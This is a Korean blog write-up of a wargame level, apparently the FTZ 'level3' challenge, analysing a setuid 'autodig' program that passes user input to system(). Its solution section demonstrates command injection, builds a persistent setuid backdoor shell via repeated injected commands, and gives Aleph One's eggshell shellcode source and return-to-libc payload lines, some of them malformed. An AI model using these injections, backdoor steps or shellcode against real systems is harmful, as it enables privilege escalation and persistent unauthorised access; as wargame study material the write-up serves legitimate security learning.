반응형

 

login as : level3

password : can you fly?

 


 

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}


위의 코드는 char형 배열 cmd를 선언하고 크기는 100이다.

프로그램 실행 시 인자를 같이 넘겨주지 않으면 "Auto Digger Version 0.9 ~~" 문자열을 띄운다.

프로그램 실행 시 인자를 같이 넘겨주면, cmd에 "dig @" 문자열을 넣고, 인자를 붙인 뒤 " version.bind chaos txt" 문자열을 붙여 system() 함수에 넘김으로써 명령어를 실행한다.


nslookup과 dig


nslookup과 dig는 네트워크 관리 도구(프로그램)로, 흔히 도메인 서버의 IP 주소를 확인할 때 사용하는 도구이다.

nslookup은 windows에도 있지만, dig는 기본적으로 유닉스 계열 운영체제에 있는 프로그램이다.
(dig는 DNS 프로그램인 bind에 포함된 프로그램이다.)

nslookup [IP를 알고 싶은 도메인]
ex) nslookup www.naver.com

nslookup은 위와 같이 사용한다.

 

dig @[쿼리할 DNS 서버의 IP] [IP를 알고 싶은 도메인]
ex) dig @192.168.47.2 www.naver.com

dig는 위와 같이 사용한다.

 

최신 버전의 dig는 nslookup처럼 @[쿼리할 DNS 서버의 IP] 부분을 생략하더라도 동작한다.


 

공격 대상 파일 찾기

 

find / -name autodig -exec ls -l {} \; 2> /dev/null

 

힌트에서 파일 이름이 autodig라고 알려줬기 때문에 해당 파일명으로 검색할 수도 있다.

 

find / -user level4 -perm +6000 -exec ls -l {} \; 2>/dev/null


아니면 find 명령어로 level4 사용자의 소유이며, level4의 권한으로 SetUID가 설정돼 있고, level3의 권한으로 SetGID가 걸린 파일 혹은 디렉토리를 찾아 ls 명령으로 나열하는데, 에러 내용들은 모두 휴지통에 버린다.


분석

0x08048430 <main+0>:    push   %ebp
0x08048431 <main+1>:    mov    %esp,%ebp
0x08048433 <main+3>:    sub    $0x78,%esp
0x08048436 <main+6>:    and    $0xfffffff0,%esp
0x08048439 <main+9>:    mov    $0x0,%eax
0x0804843e <main+14>:   sub    %eax,%esp
0x08048440 <main+16>:   cmpl   $0x2,0x8(%ebp)
0x08048444 <main+20>:   je     0x8048475 <main+69>
0x08048446 <main+22>:   sub    $0xc,%esp
0x08048449 <main+25>:   push   $0x8048588
0x0804844e <main+30>:   call   0x8048340 <printf>
0x08048453 <main+35>:   add    $0x10,%esp
0x08048456 <main+38>:   sub    $0x8,%esp
0x08048459 <main+41>:   mov    0xc(%ebp),%eax
0x0804845c <main+44>:   pushl  (%eax)
0x0804845e <main+46>:   push   $0x80485a1
0x08048463 <main+51>:   call   0x8048340 <printf>
0x08048468 <main+56>:   add    $0x10,%esp
0x0804846b <main+59>:   sub    $0xc,%esp
0x0804846e <main+62>:   push   $0x0
0x08048470 <main+64>:   call   0x8048360 <exit>
0x08048475 <main+69>:   sub    $0x8,%esp
0x08048478 <main+72>:   push   $0x80485b2
0x0804847d <main+77>:   lea    0xffffff88(%ebp),%eax
0x08048480 <main+80>:   push   %eax
0x08048481 <main+81>:   call   0x8048370 <strcpy>
0x08048486 <main+86>:   add    $0x10,%esp
0x08048489 <main+89>:   sub    $0x8,%esp
0x0804848c <main+92>:   mov    0xc(%ebp),%eax
0x0804848f <main+95>:   add    $0x4,%eax
0x08048492 <main+98>:   pushl  (%eax)
0x08048494 <main+100>:  lea    0xffffff88(%ebp),%eax
0x08048497 <main+103>:  push   %eax
0x08048498 <main+104>:  call   0x8048330 <strcat>
0x0804849d <main+109>:  add    $0x10,%esp
0x080484a0 <main+112>:  sub    $0x8,%esp
0x080484a3 <main+115>:  push   $0x80485b8
0x080484a8 <main+120>:  lea    0xffffff88(%ebp),%eax
0x080484ab <main+123>:  push   %eax
0x080484ac <main+124>:  call   0x8048330 <strcat>
0x080484b1 <main+129>:  add    $0x10,%esp

0x080484b4 <main+132>:  sub    $0x8,%esp
0x080484b7 <main+135>:  push   $0xbbc
0x080484bc <main+140>:  push   $0xbbc
0x080484c1 <main+145>:  call   0x8048350 <setreuid>
0x080484c6 <main+150>:  add    $0x10,%esp
0x080484c9 <main+153>:  sub    $0xc,%esp
0x080484cc <main+156>:  lea    0xffffff88(%ebp),%eax
0x080484cf <main+159>:  push   %eax
0x080484d0 <main+160>:  call   0x8048310 <system>
0x080484d5 <main+165>:  add    $0x10,%esp
0x080484d8 <main+168>:  leave
0x080484d9 <main+169>:  ret
0x080484da <main+170>:  nop
0x080484db <main+171>:  nop
End of assembler dump.


main 함수의 대략적인 동작 원리는 아래와 같다.

1. 인자가 있는지 없는지 검사하여 인자가 있으면 0x8048475 주소로 점프하고, 인자가 없으면 2번의 printf() 함수를 호출하고, exit() 함수를 호출하여 종료한다.

2. 0x8048475 주소로 점프하면 strcpy()를 호출하여 0x80485b2 주소에 있는 문자열을 ebp - 0xFFFFFF88 주소에 복사한다.

3. 인자를 strcat() 함수 호출로 이어 붙인다.

4. strcat() 함수 호출로 0x80485b8 주소의 문자열을 ebp - 0xFFFFFF88 주소에 이어붙인다.

5. setreuid() 함수를 호출해 권한을 level4로 설정한다.

6. sysetm() 함수를 호출한다.


main 함수를 조금 더 자세히 봐본다.

0x08048430 <main+0>:    push   %ebp
0x08048431 <main+1>:    mov    %esp,%ebp
0x08048433 <main+3>:    sub    $0x78,%esp
0x08048436 <main+6>:    and    $0xfffffff0,%esp
0x08048439 <main+9>:    mov    $0x0,%eax
0x0804843e <main+14>:   sub    %eax,%esp
0x08048440 <main+16>:   cmpl   $0x2,0x8(%ebp)
0x08048444 <main+20>:   je     0x8048475 <main+69>
0x08048446 <main+22>:   sub    $0xc,%esp
0x08048449 <main+25>:   push   $0x8048588
0x0804844e <main+30>:   call   0x8048340 <printf>
0x08048453 <main+35>:   add    $0x10,%esp
0x08048456 <main+38>:   sub    $0x8,%esp
0x08048459 <main+41>:   mov    0xc(%ebp),%eax
0x0804845c <main+44>:   pushl  (%eax)
0x0804845e <main+46>:   push   $0x80485a1
0x08048463 <main+51>:   call   0x8048340 <printf>
0x08048468 <main+56>:   add    $0x10,%esp
0x0804846b <main+59>:   sub    $0xc,%esp
0x0804846e <main+62>:   push   $0x0
0x08048470 <main+64>:   call   0x8048360 <exit>


스택을 구성하고, ebp+8 위치에 있는 값이 2인지 비교한다.

즉, ebp+8 위치는 argc가 되는 것이다.

2와 같다면, 0x8049475 주소로 점프하고
같지 않다면, "Auto Digger Version 0.9", "Usage : %s host" 문자열을 띄우고 종료한다.

0x08048475 <main+69>:   sub    $0x8,%esp
0x08048478 <main+72>:   push   $0x80485b2
0x0804847d <main+77>:   lea    0xffffff88(%ebp),%eax
0x08048480 <main+80>:   push   %eax
0x08048481 <main+81>:   call   0x8048370 <strcpy>
0x08048486 <main+86>:   add    $0x10,%esp
0x08048489 <main+89>:   sub    $0x8,%esp


"dig @" 문자열을 ebp-88 주소에 복사한다.

0x0804848c <main+92>:   mov    0xc(%ebp),%eax
0x0804848f <main+95>:   add    $0x4,%eax
0x08048492 <main+98>:   pushl  (%eax)
0x08048494 <main+100>:  lea    0xffffff88(%ebp),%eax
0x08048497 <main+103>:  push   %eax
0x08048498 <main+104>:  call   0x8048330 <strcat>
0x0804849d <main+109>:  add    $0x10,%esp
0x080484a0 <main+112>:  sub    $0x8,%esp


ebp+C에 있는 값을 eax에 넣는다.

이는, "/bin/autodig" 문자열 즉, argv[0]을 eax에 넣는 것이다.

eax에 4를 더하면, argv[1]을 가리키게 되는 것이고 이는 사용자가 입력한 인자값이다.

사용자가 입력한 인자를 스택에 넣고, ebp-88 주소를 스택에 넣은 뒤 strcat() 함수로 문자열을 붙인다.

0x080484a3 <main+115>:  push   $0x80485b8
0x080484a8 <main+120>:  lea    0xffffff88(%ebp),%eax
0x080484ab <main+123>:  push   %eax
0x080484ac <main+124>:  call   0x8048330 <strcat>
0x080484b1 <main+129>:  add    $0x10,%esp
0x080484b4 <main+132>:  sub    $0x8,%esp


" version.bind chaos txt" 문자열을 스택에 넣고, ebp-88 주소를 스택에 넣고 strcat()로 이어붙인다.

0x080484b7 <main+135>:  push   $0xbbc
0x080484bc <main+140>:  push   $0xbbc
0x080484c1 <main+145>:  call   0x8048350 <setreuid>
0x080484c6 <main+150>:  add    $0x10,%esp
0x080484c9 <main+153>:  sub    $0xc,%esp


bbc(10진수로 3004)를 스택에 두 번 넣고 setreuid() 함수를 호출한다.

이 프로그램이 실행될 때 인자와 함께 실행되면 char형 배열 cmd에 문자열들을 채우고, setreuid()를 통해 level4 권한으로 설정하는 것이다.

0x080484cc <main+156>:  lea    0xffffff88(%ebp),%eax
0x080484cf <main+159>:  push   %eax
0x080484d0 <main+160>:  call   0x8048310 <system>
0x080484d5 <main+165>:  add    $0x10,%esp
0x080484d8 <main+168>:  leave
0x080484d9 <main+169>:  ret

ebp-88 주소를 스택에 넣고 system() 함수를 호출한다.

즉, system("dig @[사용자가 입력한 인자값] version.bind chaos txt") 형태가 되는 것이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv)
{
    char buf[];

    if(argc != 2)
    {
        printf("Auto Digger Version 0.9\n");
        printf("Usage : %s host", argv[0]);
        exit(0);
    }

    strcpy(buf, "dig @");
    strcat(buf, argv[1]);
    strcat(buf, " version.bind chaos txt");

    system(buf);

    return 0;
}


위의 분석 내용을 바탕으로 의사 코드를 작성하면 위와 같다.

사실 이번 문제는 hint 파일에 코드가 이미 적혀있었지만 그럼에도 의사 코드를 작성해보았다.


풀이

 


hint에 있는 코드는 분석을 해본 결과 사용자가 넘긴 인자가 dig 명령어의 [쿼리할 DNS 서버의 IP] 부분에 들어가게 된다.

/bin/autodig my-pass


만약 위와 같은 인자와 함께 autodig를 실행한다면

dig @my-pass version.bind chaos txt


위의 명령어가 실행될 것이고


이는 위와 같이 에러가 발생하게 된다.


그 아래에 있는 추가 힌트들을 보면 "동시에 여러 명령어를 사용하려면?", "문자열 형태로 명령어를 전달하려면?"이 있다.

 

"동시에 여러 명령어를 사용하려면?"


리눅스에서 한 줄에 여러 명령어를 적고 해당 명령어들이 실행되게 하려면 명령어 사이 사이에 세미콜론(;) 또는 더블 앰퍼샌드(&&)를 적어주면 된다.

위의 두 기호 말고도 더블 OR 연산자(||)나 싱글 앰퍼샌드(&)를 쓸 수 있지만 4가지 모두 의미가 다르고, 이 상황에서 적합한 것은 세미콜론 또는 더블 앰퍼샌드이지만, 이 두개 중에서도 세미콜론이 가장 적합하다.

세미콜론은 앞의 명령어가 실패해도 다음 명령어가 수행되지만, 더블 앰퍼샌드는 앞의 명령어가 실패되면 뒤의 명령어는 수행되지 않는다.

 

"문자열 형태로 명령어를 전달하려면?"


문자열 형태로 명령어를 전달하려면 더블 쿼터로 감싸면 된다.

더블 쿼터로 감싸면 감싸진 명령어들은 모두 문자열 형태로 되고 그렇게 되면 공백이 생겨도 문자열 형태로 처리하므로

문자열과 문자열 사이에 있는 공백을 기준으로 인자들을 나누어 argv[1], argv[2], argv[3]에 저장하지 않고, 더블 쿼터로 감싸진 전체를 한 개의 문자열로 취급하여 argv[1]에 넣는다.

"; my-pass;"


지금까지의 내용을 조합하면 ; my-pass; 를 입력했을 때 dig @; my-pass; version.bind chaos txt 형태의 명령어가 되고

; 와 my-pass에 공백이 있으므로 ;는 argv[1]에 my-pass는 argv[2]에 들어갈 것이지만

더블 쿼터로 감싸줌으로써 한 문자열로 취급해 ; my-pass 전체가 argv[1]에 들어갈 것이다.

추가로 세미콜론은 앞의 명령어가 실패해도 다음 명령어를 실행하기 때문에 dig @ 명령어는 실패하겠지만 그럼에도 my-pass 명령은 실행될 것이다.

suck my brain

실행하면 위와 같이 level4의 비밀번호가 나온다.

 

; bash;

 

추가로 위와 같이 입력하여 shell을 실행해도 된다.


언제든지 level4의 권한을 얻을 수 있도록 백도어 생성하기

 

/bin/autodig "; echo 'int main(){char *cmd[2]; cmd[0] = \"/bin/bash\"; cmd[1] = 0;' > /tmp/level4backdoor.c;"
/bin/autodig "; echo 'setreuid(3004, 3004); execve(cmd[0], cmd, cmd[1]);}' >> /tmp/level4backdoor.c;"
/bin/autodig "; cat /tmp/level4backdoor.c;"
int main(){char *cmd[2]; cmd[0] = "/bin/bash"; cmd[1] = 0;
setreuid(3004, 3004); execve(cmd[0], cmd, cmd[1]);}

 

위의 명령어를 입력해 백도어 코드를 작성하고

 

/bin/autodig "; gcc -o /tmp/level4backdoor /tmp/level4backdoor.c;"

 

컴파일 해준 뒤

 

/bin/autodig "; chmod 6755 /tmp/level4backdoor;"

 

level4 사용자의 권한으로 setuid를 설정한다.

 

/tmp/level4backdoor

 

그리고 실행해보면 위와 같이 백도어가 만들어진 것을 확인할 수 있다.

 


level3 소스 코드의 overflow 가능성

(나의 환경에서는 실패하여 하는 방법만 기재해둔다.)

0x08048430 <main+0>:    push   %ebp
0x08048431 <main+1>:    mov    %esp,%ebp
0x08048433 <main+3>:    sub    $0x78,%esp

 

이 글 초반에서  gdb로 /bin/autodig 프로그램을 리버싱해볼 때 main 함수 프롤로그에서 위와 같이 스택에 0x78(10진수로 120) byte 공간을 확보했었다.

 

이는 char cmd[100]; 구문에 의해 생긴 공간인데 필요로 하는 건 100byte이지만, 120byte가 확보된 이유는 gcc 2.96 버전 이후에서는 스택에 공간을 확보할 때 8byte 이하의 버퍼는 1 word(4byte) 단위로 할당되지만, 9byte 이상의 버퍼는 4word(16byte)의 배수만큼 공간을 확보하고, 8byte의 dummy 값이 추가로 들어간다.

 

즉, 100byte가 필요로 하지만 16 x 6 = 96이므로 100byte를 확보할 수 없고, 16 x 7 = 112 이므로 100byte를 확보할 수 있으니 112byte를 확보한 뒤 dummy 값을 위한 8byte가 추가로 붙어 120 byte가 확보된 것이다.

 

cmd[100] SFP RET
120 byte 4byte 4byte
Str[5] NOP[90] shellcode[25] SFP[4] RET[4]
dig @ 'a' 90개 쉘 코드 'a' 4개 쉘 코드 주소

 

위의 표를 보면 120 byte + SFP 4byte + RET 4byte 형태이다.

 

이 중 RET를 덮어써야 main() 함수가 끝나고 리턴주소(RET)가 실행되는 시점에 셸을 실행할 수 있는데,

 

RET를 덮어쓰려면 124byte + shell 코드 실행 주소 형태로 덮어써야 덮어쓰여진다.

 

위의 표를 참고하면 "dig @" 문자열 5byte를 제외한 NOP + shellcode + SFP 부분 총 119byte에 문자열을 입력할 수 있지만, 쉘 코드를 적을 버퍼의 크기가 작을 경우 이용하는 Eggshell을 이용한다.

 

에그셸은 쉽게 말해 환경변수를 이용하는 방법인데, 메모리의 환경 변수 영역에 셸 코드를 올리고, 환경 변수의 주소까지 출력하기 때문에 출력된 주소를 RET 부분에 덮어쓰기만 하면 된다.

 

즉, Eggshell을 이용하면 환경 변수에 올라간 셸 코드의 시작 주소를 RET 영역에 덮어써서 프로그램이 종료되는 시점에 level4 권한의 셸을 얻는 것이다.

 

/*
 * eggshell v1.1
 *
 * Aleph One / aleph1@underground.org
 * Edited by superdk@hanmail.net
 */

#include <stdio.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
#define NOP_SIZE 4

char shellcode[] =
	"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
	"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
	"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
	__asm__("movl %esp,%eax");
}

int main(int argc, char xargv[]) {
	char *ptr, *bof, *egg;
	long *addr_ptr, addr;
	int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
	int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
	
	if (strlen(shellcode) > eggsize) {
		printf("Shellcode is larger the the egg.\n");
		exit(0);
	}

	if (!(bof = malloc(bsize))) {
		printf("Can't allocate memory.\n");
		exit(0);
	}
	
	if (!(egg = malloc(eggsize))) {
		printf("Can't allocate memory.\n");
		exit(0);
	}
	
	addr = get_sp( ) - offset;
	printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
	addr_ptr = (long *) bof;
	for (i = 0; i < bsize; i+=4)
		*(addr_ptr++) = addr;
	ptr = egg;
	for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
		for (n = 0; n < NOP_SIZE; n++) {
			m = (n + align) % NOP_SIZE;
			*(ptr++) = NOP;
		}
	for (i = 0; i < strlen(shellcode); i++)
		*(ptr++) = shellcode[i];
	bof[bsize - 1] = '\0';
	egg[eggsize - 1] = '\0';
	memcpy(egg,"EGG=",4);
	putenv(egg);
	memcpy(bof,"BOF=",4);
	putenv(bof);
	system("/bin/sh");
}

 

위의 코드는 Aleph One이 제작한 에그셸 v1.0 코드를 약간 수정한 코드이다.

 

위의 코드를 이용해  셸 코드 주소를 얻고 /bin/autodig를 실행할 때 인자로 perl -e 또는 python -c 명령어를 이용해 overflow 공격을 하면 된다.

 

/bin/autodig 'perl -e 'print"\x41"x115, "[shellcode가 담긴 환경 변수 주소]"x2''
/bin/autodig 'python -c 'print"\x41"*115, "[shellcode가 담긴 환경 변수 주소]"*2''

 

 

또한 이 문제는 buffer overflow가 발생하므로 RTL 공격으로도 이어질 수 있다.

 

RTL은 공유 라이브러리를 이용한 공격이다.

1. export superSH='printf "/bin//sh"'

2. cd tmp

3. vi getAddr.c
int main(void)
{
	char *p = getenv("superSH");
    printf("%p\n", p);
}

4. gcc -o getAddr getAddr.c

5. ./getAddr

6. gdb /bin/autodig

7. p system

8. /bin/autodig 'perl -e 'print "\x41"x119, "\xXX\xXX\xXX\xXX[system 함수의 주소]", "\xXX\xX\xXX\xXX[superSH의 주소]", "\xXX\xX\xXX\xXX[superSH의 주소]"''

 

반응형

+ Recent posts